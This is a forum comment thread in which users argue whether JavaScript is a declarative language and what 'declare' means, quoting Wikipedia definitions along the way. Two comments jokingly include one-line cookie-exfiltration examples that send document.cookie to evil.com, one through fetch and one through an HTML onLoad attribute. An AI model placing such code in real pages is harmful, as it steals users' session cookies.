Re:Firefox is now the last major browser that still supports...
by matheusmoreira on Saturday August 15, 2026 @12:54AM
(#49307758)
Javascript is not a declarative language.
[ Parent
| on HN ]
Re:Firefox is now the last major browser that still supports...
by inigyou on Saturday August 15, 2026 @04:53AM
(#49308936)
Sure it is.
Here's how you can write a declaration that you want to exfiltrate cookies:
document.addEventListener("load", function(){
fetch("http://evil.com/"+document.cookie);
});
Re:Firefox is now the last major browser that still supports...
by tremon on Saturday August 15, 2026 @07:22AM
(#49309667)
That's not a declaration, that's a statement. An imperative statement, to boot. Here's what it would look like in an actual declarative language:
<body onLoad="http.GET('http://evil.com/"+document.cookie')">
Re:Firefox is now the last major browser that still supports...
by inigyou on Saturday August 15, 2026 @07:52AM
(#49309833)
What do you think is the difference between a declaration and a statement?
Re:Firefox is now the last major browser that still supports...
by tremon on Sunday August 16, 2026 @07:16AM
(#49318955)
I don't need to think, I can just look up their definitions:
https://en.wikipedia.org/wiki/Declaration_(computer_programm...:
> a declaration in a syntactic language construct is the process of specifying identifier properties for its initialization
https://en.wikipedia.org/wiki/Statement_(computer_science):
> a statement is a syntactic unit of an imperative programming language that expresses some action to be carried out
Re:Firefox is now the last major browser that still supports...
by xdavidliu on Saturday August 15, 2026 @11:22AM
(#49311358)
There are at least two uses of "declare": one the colloquial english usage that has been around for at least hundreds of years, which roughly means "announce" or "state". The other use of declare is the much more specific programming language version which you're referring to.
Here's what the comment you're responding to said:
> They should have to declare to the browser what it is they want done instead.
Arguably it's pretty clear they meant declare in the first sense.
Re:Firefox is now the last major browser that still supports...
by matheusmoreira on Sunday August 16, 2026 @07:03AM
(#49318897)
I'm the one who wrote the sentence you are quoting, and I most definitely meant it in the sense of "declarative language, where you say what you want and the runtime figures out how to do it internally".